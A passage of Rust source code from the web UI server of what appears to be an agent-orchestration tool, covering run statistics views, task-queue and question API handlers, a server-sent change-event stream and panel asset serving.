4507 deliberated: usize,
4508 minds_changed: usize,
4509 converged: usize,
4510 review_rounds: usize,
4511}
4512
4513impl From<&stats::Totals> for StatsTotalsView {
4514 fn from(t: &stats::Totals) -> Self {
4515 Self {
4516 runs: t.runs,
4517 merged: t.merged,
4518 ready: t.ready,
4519 blocked: t.blocked,
4520 failed: t.failed,
4521 stalled: t.stalled,
4522 verified_noop: t.verified_noop,
4523 superseded: t.superseded,
4524 in_progress: t.in_progress,
4525 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4526 tallied: t.tallied,
4527 split: t.split,
4528 split_rate: RateView::of(t.split, t.tallied),
4529 deliberated: t.deliberated,
4530 minds_changed: t.minds_changed,
4531 converged: t.converged,
4532 review_rounds: t.review_rounds,
4533 }
4534 }
4535}
4536
4537#[derive(Debug, Serialize)]
4539struct AgentStatsView {
4540 agent: String,
4541 entered: usize,
4542 wins: usize,
4543 empty: usize,
4544 win_rate: Option<RateView>,
4545}
4546
4547impl From<&stats::AgentStats> for AgentStatsView {
4548 fn from(a: &stats::AgentStats) -> Self {
4549 Self {
4550 agent: a.agent.clone(),
4551 entered: a.entered,
4552 wins: a.wins,
4553 empty: a.empty,
4554 win_rate: RateView::of(a.wins, a.entered),
4555 }
4556 }
4557}
4558
4559#[derive(Debug, Serialize)]
4563struct ReviewerStatsView {
4564 agent: String,
4565 rounds: usize,
4566 seated: usize,
4567 submitted: usize,
4568 adopted: usize,
4569 unique: usize,
4570 timeouts: usize,
4571 adopted_per_round: Option<f64>,
4572 precision: Option<RateView>,
4573 unique_rate: Option<RateView>,
4574 timeout_rate: Option<RateView>,
4575}
4576
4577impl From<&stats::ReviewerStats> for ReviewerStatsView {
4578 fn from(r: &stats::ReviewerStats) -> Self {
4579 Self {
4580 agent: r.agent.clone(),
4581 rounds: r.rounds,
4582 seated: r.seated,
4583 submitted: r.submitted,
4584 adopted: r.adopted,
4585 unique: r.unique,
4586 timeouts: r.timeouts,
4587 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4588 precision: RateView::of(r.adopted, r.submitted),
4589 unique_rate: RateView::of(r.unique, r.submitted),
4590 timeout_rate: RateView::of(r.timeouts, r.seated),
4591 }
4592 }
4593}
4594
4595#[derive(Debug, Serialize)]
4601struct AdvisorStatsView {
4602 agent: String,
4603 seated: usize,
4604 proposed: usize,
4605 absent: usize,
4606 faint: usize,
4607 strong: usize,
4608 reflection_rate: Option<RateView>,
4609}
4610
4611impl From<&stats::AdvisorStats> for AdvisorStatsView {
4612 fn from(a: &stats::AdvisorStats) -> Self {
4613 Self {
4614 agent: a.agent.clone(),
4615 seated: a.seated,
4616 proposed: a.proposed,
4617 absent: a.absent,
4618 faint: a.faint,
4619 strong: a.strong,
4620 reflection_rate: RateView::of(a.strong, a.proposed),
4621 }
4622 }
4623}
4624
4625#[derive(Debug, Serialize)]
4627struct E2eStatsView {
4628 rounds: usize,
4629 failures: usize,
4630 sole_detections: usize,
4631 deferred: usize,
4632 sole_rate: Option<RateView>,
4633}
4634
4635impl From<&stats::E2eStats> for E2eStatsView {
4636 fn from(e: &stats::E2eStats) -> Self {
4637 Self {
4638 rounds: e.rounds,
4639 failures: e.failures,
4640 sole_detections: e.sole_detections,
4641 deferred: e.deferred,
4642 sole_rate: RateView::of(e.sole_detections, e.failures),
4643 }
4644 }
4645}
4646
4647#[derive(Debug, Serialize)]
4655struct ReleaseBumpStatsView {
4656 merged: usize,
4657 recorded: usize,
4658 pr_opened: usize,
4659 automerge_enabled: usize,
4660 merged_directly: usize,
4661 needs_attention: usize,
4662 clean: usize,
4663 coverage_rate: Option<RateView>,
4664 automerge_rate: Option<RateView>,
4665 attention_rate: Option<RateView>,
4666}
4667
4668impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4669 fn from(b: &stats::ReleaseBumpStats) -> Self {
4670 Self {
4671 merged: b.merged,
4672 recorded: b.recorded,
4673 pr_opened: b.pr_opened,
4674 automerge_enabled: b.automerge_enabled,
4675 merged_directly: b.merged_directly,
4676 needs_attention: b.needs_attention,
4677 clean: b.clean(),
4678 coverage_rate: RateView::of(b.recorded, b.merged),
4679 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4680 attention_rate: RateView::of(b.needs_attention, b.recorded),
4681 }
4682 }
4683}
4684
4685#[derive(Debug, Serialize)]
4687struct TaskCountsView {
4688 queued: usize,
4689 running: usize,
4690 done: usize,
4691 failed: usize,
4692 held: usize,
4693 blocked: usize,
4694}
4695
4696impl From<crate::queue::TaskCounts> for TaskCountsView {
4697 fn from(c: crate::queue::TaskCounts) -> Self {
4698 Self {
4699 queued: c.queued,
4700 running: c.running,
4701 done: c.done,
4702 failed: c.failed,
4703 held: c.held,
4704 blocked: c.blocked,
4705 }
4706 }
4707}
4708
4709#[derive(Debug, Serialize)]
4715struct RepoSummaryView {
4716 repo: String,
4719 name: String,
4721 runs: usize,
4722 completion_rate: Option<RateView>,
4723}
4724
4725impl From<&stats::RepoStats> for RepoSummaryView {
4726 fn from(r: &stats::RepoStats) -> Self {
4727 let t = &r.stats.totals;
4728 Self {
4729 repo: r.repo.to_string_lossy().into_owned(),
4730 name: r.name.clone(),
4731 runs: t.runs,
4732 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4733 }
4734 }
4735}
4736
4737#[derive(Debug, Serialize)]
4743struct StatsView {
4744 totals: StatsTotalsView,
4745 agents: Vec<AgentStatsView>,
4747 reviewers: Vec<ReviewerStatsView>,
4749 advisors: Vec<AdvisorStatsView>,
4751 e2e: E2eStatsView,
4752 release_bumps: ReleaseBumpStatsView,
4753 queue: TaskCountsView,
4754 runs_unreadable: usize,
4764 repos: Vec<RepoSummaryView>,
4768 daily: Vec<DailyStatsView>,
4773 repo: Option<String>,
4777}
4778
4779#[derive(Debug, Serialize)]
4781struct DailyStatsView {
4782 date: String,
4784 runs: usize,
4785 merged: usize,
4786 ready: usize,
4787 other: usize,
4788 completion_rate: Option<RateView>,
4790}
4791
4792impl From<&stats::DayBucket> for DailyStatsView {
4793 fn from(b: &stats::DayBucket) -> Self {
4794 Self {
4795 date: b.date.to_string(),
4796 runs: b.runs,
4797 merged: b.merged,
4798 ready: b.ready,
4799 other: b.other,
4800 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4801 }
4802 }
4803}
4804
4805const STATS_DAILY_DAYS: usize = 30;
4807
4808#[derive(Debug, Default, Deserialize)]
4817#[serde(default)]
4818struct StatsQuery {
4819 repo: Option<String>,
4820}
4821
4822async fn stats_get(
4829 State(ui): State<Arc<Ui>>,
4830 Query(q): Query<StatsQuery>,
4831) -> ApiResult<Json<StatsView>> {
4832 blocking(move || {
4833 let states: Vec<RunState> = run_ids(&ui.runs)
4834 .into_iter()
4835 .filter_map(|id| read_run(&ui.runs, &id).ok())
4836 .collect();
4837 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4838 .iter()
4839 .map(RepoSummaryView::from)
4840 .collect();
4841 let mut scoped: Vec<&RunState> = states.iter().collect();
4842 let collected = match &q.repo {
4843 Some(repo) => {
4844 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4845 if filtered.is_empty() {
4846 return Err(ApiError::not_found(format!(
4847 "no runs recorded against repo `{repo}`"
4848 )));
4849 }
4850 scoped = filtered.clone();
4851 stats::collect_refs(filtered)
4852 }
4853 None => stats::collect(&states),
4854 };
4855 let daily = stats::daily(
4856 scoped,
4857 jiff::Zoned::now().date(),
4858 &jiff::tz::TimeZone::system(),
4859 STATS_DAILY_DAYS,
4860 );
4861 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4862 Ok(Json(StatsView {
4863 totals: StatsTotalsView::from(&collected.totals),
4864 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4865 reviewers: collected
4866 .reviewers
4867 .iter()
4868 .map(ReviewerStatsView::from)
4869 .collect(),
4870 advisors: collected
4871 .advisors
4872 .iter()
4873 .map(AdvisorStatsView::from)
4874 .collect(),
4875 e2e: E2eStatsView::from(&collected.e2e),
4876 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4877 queue: TaskCountsView::from(queue_counts),
4878 runs_unreadable: runs_unreadable(&ui.runs),
4879 repos,
4880 daily: daily.iter().map(DailyStatsView::from).collect(),
4881 repo: q.repo.clone(),
4882 }))
4883 })
4884 .await
4885}
4886
4887#[derive(Debug, Default, Deserialize)]
4890#[serde(default, deny_unknown_fields)]
4891struct HoldBody {
4892 reason: Option<String>,
4893}
4894
4895async fn queue_hold(
4896 State(ui): State<Arc<Ui>>,
4897 Path(id): Path<String>,
4898 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4899) -> ApiResult<Json<TaskView>> {
4900 let body = match body {
4904 Ok(Json(body)) => body,
4905 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4906 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4907 };
4908 let reason = body.reason.filter(|r| !r.trim().is_empty());
4909 mutate(ui, id, move |t| {
4910 t.hold_manual(reason.clone());
4911 Ok(())
4912 })
4913 .await
4914}
4915
4916async fn queue_release(
4917 State(ui): State<Arc<Ui>>,
4918 Path(id): Path<String>,
4919) -> ApiResult<Json<TaskView>> {
4920 mutate(ui, id, |t| {
4921 t.release();
4922 Ok(())
4923 })
4924 .await
4925}
4926
4927#[derive(Debug, Deserialize)]
4929#[serde(deny_unknown_fields)]
4930struct PriorityBody {
4931 priority: i32,
4932}
4933
4934async fn queue_priority(
4940 State(ui): State<Arc<Ui>>,
4941 Path(id): Path<String>,
4942 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4943) -> ApiResult<Json<TaskView>> {
4944 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4945 mutate(ui, id, move |t| t.set_priority(body.priority)).await
4946}
4947
4948#[derive(Debug, Deserialize)]
4950#[serde(deny_unknown_fields)]
4951struct EditBody {
4952 title: String,
4953 instruction: String,
4954 #[serde(default)]
4957 force: bool,
4958}
4959
4960async fn queue_edit(
4964 State(ui): State<Arc<Ui>>,
4965 Path(id): Path<String>,
4966 body: std::result::Result<Json<EditBody>, JsonRejection>,
4967) -> ApiResult<Json<TaskView>> {
4968 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4969 let mut judged: Option<(String, PathBuf)> = None;
4973 if !body.force {
4974 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4975 let (id, text) = (id.clone(), body.instruction.clone());
4976 let (seen, hits) = blocking(move || {
4977 let id = resolve_task(&queue, &id)?;
4978 let t = queue.get(&id)?;
4979 if text == t.instruction {
4980 return Ok((None, Vec::new()));
4981 }
4982 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4983 Ok((Some((t.instruction, t.repo)), hits))
4984 })
4985 .await?;
4986 if let Some((_, repo)) = &seen {
4987 let cfg = crate::config::Config::discover(repo, None)
4988 .ok()
4989 .map(|(c, _)| c);
4990 let screened =
4991 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4992 .await
4993 .map_err(|dup| {
4994 ApiError::conflict(dup.render(
4995 "Nothing was saved. If it is not a duplicate, repeat the request \
4996 with \"force\": true.",
4997 ))
4998 })?;
4999 if let crate::dupes::Screened::Unjudged(why) = screened {
5000 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5001 }
5002 }
5003 judged = seen;
5004 }
5005 let force = body.force;
5006 mutate(ui, id, move |t| {
5007 if !force && body.instruction != t.instruction {
5008 match &judged {
5009 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5010 _ => {
5011 anyhow::bail!("the task changed while it was being checked; repeat the request")
5012 }
5013 }
5014 }
5015 t.edit(body.title.clone(), body.instruction.clone())
5016 })
5017 .await
5018}
5019
5020async fn queue_done(
5028 State(ui): State<Arc<Ui>>,
5029 Path(id): Path<String>,
5030) -> ApiResult<Json<TaskView>> {
5031 let home = ui.home.clone();
5032 mutate(ui, id, move |t| {
5033 t.succeed();
5034 crate::daemon::supersede_prior_runs(t, &home);
5042 Ok(())
5043 })
5044 .await
5045}
5046
5047async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5055 blocking(move || {
5056 let id = resolve_task(&ui.queue, &id)?;
5057 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5058 ui.queue
5059 .remove(&id, in_flight, &ui.questions)
5060 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5061 Ok(StatusCode::NO_CONTENT)
5062 })
5063 .await
5064}
5065
5066async fn mutate(
5075 ui: Arc<Ui>,
5076 id: String,
5077 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5078) -> ApiResult<Json<TaskView>> {
5079 blocking(move || {
5080 let id = resolve_task(&ui.queue, &id)?;
5081 let _claim = ui.queue.claim(&id).map_err(|e| {
5086 ApiError::conflict(format!(
5087 "{e:#} - a daemon is running this task, so it cannot be \
5088 changed from here yet"
5089 ))
5090 })?;
5091 let mut task = ui.queue.get(&id)?;
5092 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5093 Ok(dup) => ApiError::conflict(dup.render(
5094 "Nothing was saved. If it is not a duplicate, repeat the request with \
5095 \"force\": true.",
5096 )),
5097 Err(e) => ApiError::bad_request_from(e),
5098 })?;
5099 ui.queue.put(&mut task)?;
5100 Ok(Json(TaskView::from(task)))
5101 })
5102 .await
5103}
5104
5105async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5113 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5114 tokio::spawn(async move {
5115 let mut ticker = tokio::time::interval(POLL);
5116 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5117 let mut stamps: Option<[Stamps; 3]> = None;
5118 loop {
5119 ticker.tick().await;
5122 let state = Arc::clone(&ui);
5123 let revisions = tokio::task::spawn_blocking(move || {
5124 let stamps = [
5125 store_stamps(state.queue.root(), false),
5126 store_stamps(&state.runs, true),
5127 store_stamps(state.talks.root(), false),
5128 ];
5129 let revisions = (
5130 stamps_revision(&stamps[0]),
5131 stamps_revision(&stamps[1]),
5132 state.questions.revision(),
5133 stamps_revision(&stamps[2]),
5134 state.notices.revision(),
5135 state.lock_loop().rev,
5139 );
5140 (revisions, stamps)
5141 })
5142 .await;
5143 let Ok((revisions, next_stamps)) = revisions else {
5144 break;
5145 };
5146 if last == Some(revisions) {
5147 continue;
5148 }
5149 let mut payload = serde_json::json!({
5150 "queue_rev": revisions.0,
5151 "runs_rev": revisions.1,
5152 "questions_rev": revisions.2,
5153 "talks_rev": revisions.3,
5154 "notifications_rev": revisions.4,
5155 "loop_rev": revisions.5,
5156 });
5157 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5158 for (index, (key, rev)) in [
5159 ("queue_delta", base.0),
5160 ("runs_delta", base.1),
5161 ("talks_delta", base.3),
5162 ]
5163 .into_iter()
5164 .enumerate()
5165 {
5166 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5167 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5169 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5170 }
5171 }
5172 }
5173 last = Some(revisions);
5174 stamps = Some(next_stamps);
5175 let Ok(event) = Event::default().event("change").json_data(payload) else {
5177 break;
5178 };
5179 if tx.send(event).await.is_err() {
5180 break;
5181 }
5182 }
5183 });
5184 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5185 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5186}
5187
5188type Stamps = HashMap<String, (u128, u64)>;
5189
5190fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5192 std::fs::read_dir(root)
5193 .into_iter()
5194 .flatten()
5195 .flatten()
5196 .filter_map(|entry| {
5197 let path = if runs {
5198 entry.path().join("run.json")
5199 } else {
5200 entry.path()
5201 };
5202 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5203 return None;
5204 }
5205 let metadata = path.metadata().ok()?;
5206 let modified = metadata
5207 .modified()
5208 .ok()?
5209 .duration_since(std::time::UNIX_EPOCH)
5210 .ok()?;
5211 let id = if runs {
5212 entry.file_name().to_string_lossy().into_owned()
5213 } else {
5214 path.file_stem()?.to_string_lossy().into_owned()
5215 };
5216 Some((id, (modified.as_nanos(), metadata.len())))
5217 })
5218 .collect()
5219}
5220
5221#[derive(Debug, Serialize)]
5222struct Delta {
5223 base: u64,
5224 changed: Vec<String>,
5225 removed: Vec<String>,
5226}
5227
5228fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5229 let mut changed: Vec<_> = next
5230 .iter()
5231 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5232 .map(|(id, _)| id.clone())
5233 .collect();
5234 let mut removed: Vec<_> = previous
5235 .keys()
5236 .filter(|id| !next.contains_key(*id))
5237 .cloned()
5238 .collect();
5239 changed.sort_unstable();
5240 removed.sort_unstable();
5241 Delta {
5242 base,
5243 changed,
5244 removed,
5245 }
5246}
5247
5248fn runs_revision(runs: &FsPath) -> u64 {
5255 stamps_revision(&store_stamps(runs, true))
5256}
5257
5258fn stamps_revision(stamps: &Stamps) -> u64 {
5262 use std::hash::{Hash as _, Hasher as _};
5263 if stamps.is_empty() {
5264 return 0;
5265 }
5266 let mut entries: Vec<_> = stamps.iter().collect();
5267 entries.sort_unstable();
5268 let mut hasher = std::hash::DefaultHasher::new();
5269 entries.hash(&mut hasher);
5270 hasher.finish().max(1)
5271}
5272
5273fn run_ids(runs: &FsPath) -> Vec<String> {
5279 let mut ids: Vec<String> = std::fs::read_dir(runs)
5280 .into_iter()
5281 .flatten()
5282 .flatten()
5283 .filter(|e| e.path().join("run.json").is_file())
5284 .map(|e| e.file_name().to_string_lossy().into_owned())
5285 .collect();
5286 ids.sort_unstable_by(|a, b| b.cmp(a));
5288 ids
5289}
5290
5291fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5293 let path = runs.join(id).join("run.json");
5294 let body =
5295 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5296 let state: RunState =
5297 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5298 run::migrate_schema(state)
5303}
5304
5305#[must_use]
5313pub fn runs_unreadable(runs: &FsPath) -> usize {
5314 run_ids(runs)
5315 .into_iter()
5316 .filter(|id| read_run(runs, id).is_err())
5317 .count()
5318}
5319
5320fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5322 if runs.join(id).join("run.json").is_file() {
5323 return Ok(id.to_owned());
5324 }
5325 pick(run_ids(runs), id, "run")
5326}
5327
5328fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5330 if queue.path_of(id).is_file() {
5331 return Ok(id.to_owned());
5332 }
5333 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5334}
5335
5336#[derive(Debug, Serialize)]
5347struct QuestionView {
5348 #[serde(flatten)]
5349 question: Question,
5350 detail_md: Vec<md::Node>,
5351 thread_bodies_md: Vec<Vec<md::Node>>,
5353 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5356 waiting_on_agent: bool,
5366 holder: Option<&'static str>,
5370 deputies_enabled: bool,
5374 run_is_task: bool,
5377 origin_chat: Option<String>,
5382}
5383
5384impl QuestionView {
5385 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5389 let base = md::ImageBase::QuestionPanel {
5390 id: question.id.clone(),
5391 };
5392 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5393 Self {
5394 detail_md: md::to_nodes(&question.detail, &base),
5395 thread_bodies_md: question
5396 .thread
5397 .iter()
5398 .map(|t| md::to_nodes(&t.body, &base))
5399 .collect(),
5400 thread_notes_md: question
5401 .thread
5402 .iter()
5403 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5404 .collect(),
5405 waiting_on_agent: question.waiting_on_agent(),
5406 holder,
5407 deputies_enabled,
5408 run_is_task: question.run_names_task(),
5409 origin_chat: None,
5410 question,
5411 }
5412 }
5413
5414 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5416 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5417 self
5418 }
5419}
5420
5421fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5425 Config::discover(repo, None).ok().map(|(c, _)| c)
5426}
5427
5428fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5430 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5431}
5432
5433fn question_views(
5436 qs: Vec<Question>,
5437 store: &ask::Questions,
5438 load: impl FnOnce() -> Option<Config>,
5439) -> Vec<QuestionView> {
5440 if qs.is_empty() {
5441 return Vec::new();
5442 }
5443 let cfg = load();
5444 qs.into_iter()
5445 .map(|q| {
5446 let on = deputies_enabled(cfg.as_ref(), &q);
5447 QuestionView::of(q, store, on)
5448 })
5449 .collect()
5450}
5451
5452fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5462 if !q.status.open() {
5463 return None;
5464 }
5465 if q.cwd.is_none() && q.deputy.is_none() {
5466 return crate::deputy::kind_of(q).map(|_| "nobody");
5467 }
5468 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5469 Some(_) if q.deputy.is_some() => "deputy",
5470 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5471 Some(_) => "asker",
5472 None => "nobody",
5473 })
5474}
5475
5476async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5482 blocking(move || {
5483 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5484 Ok(Json(
5485 question_views(ui.questions.list(), &ui.questions, || {
5486 deputy_config(&ui.repo)
5487 })
5488 .into_iter()
5489 .map(|v| v.with_origin(&tasks, &talks))
5490 .collect(),
5491 ))
5492 })
5493 .await
5494}
5495
5496async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5499 blocking(move || {
5500 let items = ui.notices.list();
5501 let unread = items.iter().filter(|n| n.unread()).count();
5502 Ok(Json(
5503 serde_json::json!({ "unread": unread, "items": items }),
5504 ))
5505 })
5506 .await
5507}
5508
5509fn notice_error(e: anyhow::Error) -> ApiError {
5510 ApiError::not_found(format!("{e:#}"))
5513}
5514
5515async fn notification_read(
5517 State(ui): State<Arc<Ui>>,
5518 Path(id): Path<String>,
5519) -> ApiResult<Json<Notice>> {
5520 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5521}
5522
5523async fn notification_dismiss(
5525 State(ui): State<Arc<Ui>>,
5526 Path(id): Path<String>,
5527) -> ApiResult<Json<Notice>> {
5528 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5529}
5530
5531async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5533 blocking(move || {
5534 let changed = ui.notices.mark_all_read()?;
5535 Ok(Json(serde_json::json!({ "marked": changed })))
5536 })
5537 .await
5538}
5539
5540#[derive(Debug, Default, Deserialize)]
5546#[serde(default, deny_unknown_fields)]
5547struct NewAnswer {
5548 choice: Option<String>,
5549 text: Option<String>,
5550}
5551
5552async fn question_answer(
5553 State(ui): State<Arc<Ui>>,
5554 Path(id): Path<String>,
5555 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5556) -> ApiResult<Json<QuestionView>> {
5557 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5558 let answer = match (body.choice, body.text) {
5559 (Some(c), None) => Answer::Choice(c),
5560 (None, Some(t)) => Answer::Text(t),
5561 (Some(_), Some(_)) => {
5562 return Err(ApiError::bad_request(
5563 "send either `choice` or `text`, not both",
5564 ));
5565 }
5566 (None, None) => {
5567 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5568 }
5569 };
5570
5571 blocking(move || {
5572 let id = resolve_question(&ui.questions, &id)?;
5573 let q = ui
5574 .questions
5575 .get(&id)
5576 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5577 if !q.status.open() {
5578 return Err(ApiError::conflict(format!(
5582 "question {} is already {}",
5583 q.short(),
5584 q.status.as_str()
5585 )));
5586 }
5587 let (q, ()) = ui
5591 .questions
5592 .update(&q.id, |r| r.answer(answer))
5593 .map_err(ApiError::bad_request_from)?;
5594 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5595 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5596 Ok(Json(
5597 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5598 ))
5599 })
5600 .await
5601}
5602
5603#[derive(Debug, Deserialize)]
5605#[serde(deny_unknown_fields)]
5606struct NewSay {
5607 body: String,
5608}
5609
5610async fn question_say(
5620 State(ui): State<Arc<Ui>>,
5621 Path(id): Path<String>,
5622 body: std::result::Result<Json<NewSay>, JsonRejection>,
5623) -> ApiResult<Json<QuestionView>> {
5624 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5625 blocking(move || {
5626 let id = resolve_question(&ui.questions, &id)?;
5627 let q = ui
5628 .questions
5629 .get(&id)
5630 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5631 if !q.status.open() {
5632 return Err(ApiError::conflict(format!(
5636 "question {} is already {}",
5637 q.short(),
5638 q.status.as_str()
5639 )));
5640 }
5641 let (q, ()) = ui
5644 .questions
5645 .update(&q.id, |r| r.say(body.body))
5646 .map_err(ApiError::bad_request_from)?;
5647 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5648 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5649 Ok(Json(
5650 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5651 ))
5652 })
5653 .await
5654}
5655
5656async fn question_consult(
5665 State(ui): State<Arc<Ui>>,
5666 Path(id): Path<String>,
5667) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5668 let (view, reclaimed) = blocking({
5669 let ui = Arc::clone(&ui);
5670 move || {
5671 let id = resolve_question(&ui.questions, &id)?;
5672 let q = ui
5673 .questions
5674 .get(&id)
5675 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5676 if !q.status.open() {
5677 return Err(ApiError::conflict(format!(
5678 "question {} is already {}",
5679 q.short(),
5680 q.status.as_str()
5681 )));
5682 }
5683 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5684 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5685 return Err(ApiError::conflict(format!(
5686 "question {} has no open chat to ask",
5687 q.short()
5688 )));
5689 };
5690 let cfg = if q.consult.is_none() {
5694 Some(Config::discover(&talk.repo, None)?.0)
5695 } else {
5696 None
5697 };
5698 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5699 let claim = if fresh {
5700 match ui.begin_queued_talk_turn(&talk.id)? {
5701 Some(turn_guard) => {
5702 let talk = ui.talks.get(&talk.id)?;
5703 let cfg = match cfg {
5704 Some(cfg) => cfg,
5705 None => Config::discover(&talk.repo, None)?.0,
5706 };
5707 Some((talk, cfg, turn_guard))
5708 }
5709 None => None,
5710 }
5711 } else {
5712 None
5713 };
5714 let q = ui.questions.get(&q.id)?;
5715 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5716 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5717 Ok((view, claim))
5718 }
5719 })
5720 .await?;
5721 if let Some((talk, cfg, turn_guard)) = reclaimed {
5722 let talks = ui.talks.clone();
5723 let id = talk.id.clone();
5724 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5725 }
5726 Ok((StatusCode::ACCEPTED, Json(view)))
5727}
5728
5729fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5731 if store.path_of(id).is_file() {
5732 return Ok(id.to_owned());
5733 }
5734 pick(
5735 store.list().into_iter().map(|q| q.id).collect(),
5736 id,
5737 "question",
5738 )
5739}
5740
5741async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5756 blocking(move || {
5757 let id = resolve_question(&ui.questions, &id)?;
5758 let Some(html) = ui.questions.panel_html(&id) else {
5759 return Err(ApiError::not_found(format!("question {id} has no panel")));
5760 };
5761 Ok(panel_response(
5762 "text/html; charset=utf-8",
5763 false,
5764 html.into_bytes(),
5765 ))
5766 })
5767 .await
5768}
5769
5770async fn question_asset(
5798 State(ui): State<Arc<Ui>>,
5799 Path((id, name)): Path<(String, String)>,
5800) -> ApiResult<Response> {
5801 if !crate::ask::valid_asset_name(&name) {
5804 return Err(ApiError::bad_request(format!(
5805 "`{name}` is not a usable asset name"
5806 )));
5807 }
5808 blocking(move || {
5809 let id = resolve_question(&ui.questions, &id)?;
5810 let asset = ui
5811 .questions
5812 .panel_asset(&id, &name)
5813 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5814 let Some(bytes) = asset else {
5815 return Err(ApiError::not_found(format!(
5816 "question {id} has no asset `{name}`"
5817 )));
5818 };
5819 Ok(panel_response(
5820 asset_content_type(&name),
5821 is_svg(&name),
5822 bytes,
5823 ))
5824 })
5825 .await
5826}
5827
5828fn asset_content_type(name: &str) -> &'static str {
5841 match extension(name).as_deref() {
5842 Some("png") => "image/png",
5843 Some("jpg" | "jpeg") => "image/jpeg",
5844 Some("gif") => "image/gif",
5845 Some("webp") => "image/webp",
5846 Some("svg") => "image/svg+xml",
5847 Some("css") => "text/css; charset=utf-8",
